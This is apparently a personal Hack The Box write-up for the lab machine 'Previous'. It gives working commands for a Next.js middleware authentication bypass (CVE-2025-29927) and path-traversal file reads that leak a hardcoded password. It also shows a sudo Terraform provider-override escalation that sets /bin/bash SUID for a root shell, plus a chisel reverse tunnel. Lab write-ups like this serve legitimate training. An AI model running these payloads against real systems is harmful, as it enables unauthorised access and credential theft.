PREVIOUS-HTB Notes

PREVIOUS

Here is my note on PREVIOUS box from Hackthebox.


PREVIOUS: 10.129.56.22

nmapAutomator.sh --host 10.129.56.22 --type All

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/

#NO VHOST. 

#NO NIKTO.

Contact = jeremy@previous.htb

/api = http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi

/signin 

Sign in with some accounts and intercept it for more enumeration. 

/api/auth/providers:

{"credentials":{"id":"credentials","name":"Credentials","type":"credentials","signinUrl":"http://localhost:3000/api/auth/signin/credentials","callbackUrl":"http://localhost:3000/api/auth/callback/credentials"}}


/api/auth/csrf:

{"csrfToken":"28a2e316758f6d5284c6f973bbf2b97d20f3df0808815f381c8bc1410034f63e"}

28a2e316758f6d5284c6f973bbf2b97d20f3df0808815f381c8bc1410034f63e|8a6f92091c5608a41715305b765c27ee622a1ffc4f164a60816d3628d3a3d3c9;


/api/auth/callback/credentials: 

Error: Callback for provider type credentials not supported


/_next/data/qVDR2cKpRgqCslEh-llk9/docs.json

/_next/data/qVDR2cKpRgqCslEh-llk9/api/auth/signin.json?callbackUrl=%2Fdocs

#NOPE. 

It's seems we have to sign in to leads /docs (%2Fdocs from callbackUrl)

The website is run by previousJS therefore vulnerable to CVE-2025-29927 exploit. 

It's can bypass the authentication and leads to /docs without any account required. 

https://www.offsec.com/blog/cve-2025-29927/

https://github.com/MuhammadWaseem29/CVE-2025-29927-POC

https://github.com/0xnxt1me/CVE-2025-29927

┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -v "http://previous.htb/docs" \
  -H "Host: previous.htb" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.56.22
*   Trying 10.129.56.22:80...
* Connected to previous.htb (10.129.56.22) port 80
* using HTTP/1.x
> GET /docs HTTP/1.1
> Host: previous.htb
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Accept-Encoding: gzip, deflate, br
> Connection: keep-alive
>
* Request completely sent off
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 30 Aug 2025 17:36:34 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< location: /api/auth/signin?callbackUrl=%2Fdocs
<
* Connection #0 to host previous.htb left intact
/api/auth/signin?callbackUrl=%2Fdocs

┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -v "http://previous.htb/docs" \
  -H "Host: previous.htb" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.56.22
*   Trying 10.129.56.22:80...
* Connected to previous.htb (10.129.56.22) port 80
* using HTTP/1.x
> GET /docs HTTP/1.1
> Host: previous.htb
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Accept-Encoding: gzip, deflate, br
> Connection: keep-alive
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 30 Aug 2025 17:37:05 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Next.js
< ETag: "tgdw538y2p2l1"
< Vary: Accept-Encoding
< Content-Encoding: gzip
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
* client returned ERROR on write of 1073 bytes
* Failed reading the chunked-encoded stream
* closing connection #0


Looks like authentication bypass works ! 

So let's intercept /docs with [X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware].

GET /docs HTTP/1.1

Host: previous.htb

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

[SNIP]

and that's leads to /docs = SUCCESS ! 

/docs = PreviousJS Documentation. 

/docs: 

/docs/getting-started: 

Getting Started
Start building with PreviousJS in just a few simple steps.

Prerequisites
Node.js 4 or later
React
Basic understanding of Java
Quick Start
Install the library:

npm install ... # TODO: publish the library 

/docs/examples: 

Hello World

import { app } from 'previous';

const app = new App();
app.start();
Download the full example here!

http://previous.htb/api/download?example=hello-world.ts







/docs/api-reference

#EMPTY

http://previous.htb/api/download?example=hello-world.ts = Vulnerable to LFI ! with middleware express bypass.

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://previous.htb/api/download?example=FUZZ' 


X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u "http://previous.htb/api/download?example=FUZZ" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"


http://previous.htb/api/download?example=../../../../../../../../../../../../../../../../../../../../../../etc/passwd

LFI WORKS ! 


app_wordlist.txt: 

app/.env
app/.env.local
app/.env.development
app/.env.production
app/.env.test
app/package.json
app/package-lock.json
app/yarn.lock
app/tsconfig.json
app/jsconfig.json
app/previous.config.js
app/next.config.js
app/webpack.config.js
app/babel.config.js
app/.babelrc
app/Dockerfile
app/docker-compose.yml
app/.npmrc
app/.git/config
app/.gitignore
app/.vscode/settings.json

# Source directories
app/pages/index.js
app/pages/index.tsx
app/pages/api/hello.js
app/pages/api/hello.ts
app/app/page.js
app/app/page.tsx
app/app/layout.js
app/app/layout.tsx
app/app/error.js
app/app/loading.js
app/app/not-found.js

# Components & helpers
app/components/Header.js
app/components/Footer.js
app/components/Nav.js
app/components/App.js
app/lib/db.js
app/lib/config.js
app/lib/auth.js
app/utils/helpers.js
app/utils/api.js

# Tests
app/tests/test.js
app/__tests__/app.test.js

ffuf -w app_wordlist.txt:FUZZ \
  -u "http://previous.htb/api/download?example=../../../../FUZZ" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -mc 200 -fc 404

[SNIP]

app/.env                [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 140ms]
app/package.json        [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 213ms]

http://previous.htb/api/download?example=../../../../app/.env 

http://previous.htb/api/download?example=../../../../app/package.json

Check .next in /app such as /app/.next: 

Use Chatgpt to make a wordlist into one all-together. 

ffuf -w one_lfi.txt:FUZZ \
  -u "http://previous.htb/api/download?example=../../../../FUZZ" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -mc 200 -fc 404
  
[SNIP]

app/package.json        [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 115ms]
app/.next/BUILD_ID      [Status: 200, Size: 21, Words: 1, Lines: 1, Duration: 126ms]
app/.next/routes-manifest.json [Status: 200, Size: 2548, Words: 507, Lines: 96, Duration: 125ms]
app/.next/react-loadable-manifest.json [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 124ms]
app/.next/prerender-manifest.json [Status: 200, Size: 354, Words: 33, Lines: 11, Duration: 129ms]
app/.next/server/pages/_app.js [Status: 200, Size: 492, Words: 9, Lines: 1, Duration: 122ms]
app/.next/server/pages/_document.js [Status: 200, Size: 378, Words: 5, Lines: 1, Duration: 136ms]
:: Progress: [110/110] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

http://previous.htb/api/download?example=../../../../app/.next/BUILD_ID 

http://previous.htb/api/download?example=../../../../app/.next/server/pages/_app.js

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware

┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -s -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  "http://previous.htb/api/download?example=../../../../app/.next/server/pages-manifest.json" \
  -o pages-manifest.json


┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# cat pages-manifest.json
{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
} 

/app/.next/server/pages/api/auth

app/.next/server/pages/api/auth/[...nextauth].js [Status: 200, Size: 1537, Words: 22, Lines: 1, Duration: 94ms]

Use it with that exploit as usual and intercept it with Burpsuite to get this file. 

┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat '_.._.._.._app_.next_server_pages_api_auth_[...nextauth].js'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();   

jeremy:MyNameIsJeremyAndILovePancakes 

┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# ssh jeremy@10.129.56.22
The authenticity of host '10.129.56.22 (10.129.56.22)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:116: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? ues
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.129.56.22' (ED25519) to the list of known hosts.
jeremy@10.129.56.22's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Aug 30 07:58:52 PM UTC 2025

  System load:  0.0               Processes:             216
  Usage of /:   77.9% of 8.76GB   Users logged in:       0
  Memory usage: 9%                IPv4 address for eth0: 10.129.56.22
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Aug 30 19:58:54 2025 from 10.10.14.174
jeremy@previous:~$ whoami
jeremy
jeremy@previous:~$ hostname
previous

JEREMY USER-SHELL ! 

jeremy@previous:~$ whoami
jeremy
jeremy@previous:~$ hostname
previous
jeremy@previous:~$ cat user.txt
[REDIRECTED]

USER.TXT: [REDIRECTED]

PRIV ESC: 

jeremy -> root: 

GCC enabled.

NO SUID. 

jeremy@previous:/opt/terraform-provider-examples$  netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -#PREVIOUSJS
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:43517         0.0.0.0:*               LISTEN      -#404 not found = DON'T BOTHER.
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

chisel server -p 8000 --reverse

./chisel client 10.10.14.174:8000 R:43517:127.0.0.1:43517

Terraform PRIV ESC NOTES:

jeremy@previous:/opt$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
	
https://medium.com/@toshithh/proof-of-concept-terraform-privilege-escalation-cd3db69df90e	

https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/

jeremy@previous:/opt/examples$ pwd
/opt/examples
jeremy@previous:/opt/examples$ ls
main.tf  terraform.tfstate

jeremy@previous:/opt/examples$ cat main.tf
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

#So the provider name is previous.htb. 

cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF

chmod +x /tmp/terraform-provider-examples

jeremy@previous:/opt/examples$ cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF

chmod +x /tmp/terraform-provider-examples

	

cat > /tmp/previous.rc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
EOF

export TF_CLI_CONFIG_FILE=/tmp/previous.rc

jeremy@previous:/tmp$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain
│ schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│   Path: /tmp/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵

jeremy@previous:/tmp$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.4M Mar 14  2024 /bin/bash

jeremy@previous:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
bash-5.1# whoami
root
bash-5.1# hostname
previous

ROOT-SHELL ! 

bash-5.1# whoami
root
bash-5.1# hostname
previous
bash-5.1# ls
clean  examples  go  root.txt
bash-5.1# cat root.txt
[REDIRECTED]

ROOT.TXT: [REDIRECTED] 


Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel